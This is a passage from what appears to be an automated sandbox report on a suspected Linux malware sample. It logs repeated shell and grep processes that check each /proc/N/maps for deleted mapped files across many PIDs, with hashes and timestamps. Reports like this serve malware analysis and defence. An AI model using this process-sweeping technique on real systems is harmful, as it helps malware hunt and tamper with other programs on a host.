MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6321, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1622/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6322, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6322, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1623/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6325, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6325, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1627/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6326, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6326, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1629/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6327, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6327, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1632/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6328, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6328, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1633/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6329, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6329, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1638/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6330, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6330, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1639/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6331, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6331, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1642/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6332, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6332, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1648/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6334, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6334, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1654/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6336, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6336, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1656/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6337, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6337, Parent PID: 6239

General

Start time (UTC):	20:32:01
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1661/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6338, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6338, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1664/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6339, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6339, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1668/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6340, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6340, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1698/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6341, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6341, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1699/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6344, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6344, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/17/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6345, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6345, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/18/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6346, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6346, Parent PID: 6239

General

Start time (UTC):	20:32:02
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1809/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6347, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6347, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1860/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6349, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6349, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1872/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6353, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6353, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1877/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6354, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6354, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1886/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6355, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6355, Parent PID: 6239

General

Start time (UTC):	20:32:03
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1888/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6359, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6359, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1890/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6360, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6360, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1900/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6362, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6362, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1983/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6363, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6363, Parent PID: 6239

General

Start time (UTC):	20:32:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6511, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6511, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/20/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6512, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6512, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2009/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6513, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6513, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/201/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6514, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6514, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2014/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6525, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6525, Parent PID: 6239

General

Start time (UTC):	20:32:05
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2018/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6526, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6526, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/202/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6527, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6527, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2025/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6528, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6528, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2028/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6529, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6529, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/203/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6530, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6530, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2033/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6531, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6531, Parent PID: 6239

General

Start time (UTC):	20:32:06
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2038/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6532, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6532, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/204/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6533, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6533, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2048/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6534, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6534, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/205/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6536, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6536, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2050/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6538, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6538, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/206/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6543, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6543, Parent PID: 6239

General

Start time (UTC):	20:32:07
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2062/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6544, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6544, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2063/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6545, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6545, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2069/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6550, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6550, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/207/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6551, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6551, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2074/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6552, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6552, Parent PID: 6239

General

Start time (UTC):	20:32:08
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2077/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6554, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6554, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2078/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6555, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6555, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2079/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6556, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6556, Parent PID: 6239

General

Start time (UTC):	20:32:09
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/208/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6559, Parent PID: 6239

General

Start time (UTC):	20:32:10
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

